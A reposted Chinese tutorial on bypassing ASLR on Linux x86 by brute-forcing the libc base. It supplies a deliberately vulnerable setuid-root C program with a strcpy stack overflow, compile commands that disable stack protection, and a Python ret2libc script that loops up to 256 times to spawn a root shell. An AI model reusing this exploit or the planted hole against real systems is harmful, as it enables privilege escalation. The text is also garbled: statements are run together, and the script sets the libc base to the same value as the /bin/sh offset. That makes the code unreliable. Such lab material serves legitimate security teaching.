Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
生活随笔
收集整理的這篇文章主要介紹了
Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
(1)原理:
使用爆破技巧,來繞過共享庫地址隨機化。爆破:攻擊者選擇特定的 Libc 基址,并持續攻擊程序直到成功。這個技巧是用于繞過 ASLR 的最簡單的技巧。
(2)漏洞代碼
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) {char buf[256];strcpy(buf,argv[1]);printf("%s\n",buf);fflush(stdout);return 0; }?編譯
echo 2 > /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector -g -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln?
(3)當隨機化打開時不同的 Libc 基址
上面展示了,Libc 隨機化僅限于 8 位。因此我們可以在最多 256 次嘗試內,得到 root shell。
(4)攻擊代碼
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0x161dd8 #隨便選擇一個基址即可 exit_off = 0x001a615c system_off = 0x0003f430 binsh_off=0x161dd8 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off binsh_arg = binsh_off+libc_base_addr #endianess convertion def conv(num):return struct.pack("<I",num) buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(binsh_arg) bufl="" print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256):print "Number of tries: %d" %ii += 1ret = call(["./vuln", buf])if (not ret):breakelse:print "Exploit failed"?獲得system和exit偏移地址:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
(5)從網站https://libc.blukat.me/獲得/bin/sh偏移地址
(6)執行程序 $python exp.py,獲得root shell。
?
轉載于:https://www.cnblogs.com/momoli/p/10834187.html
總結
以上是生活随笔為你收集整理的Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 性能指标有哪些?
- 下一篇: 文档 笔记 我全都要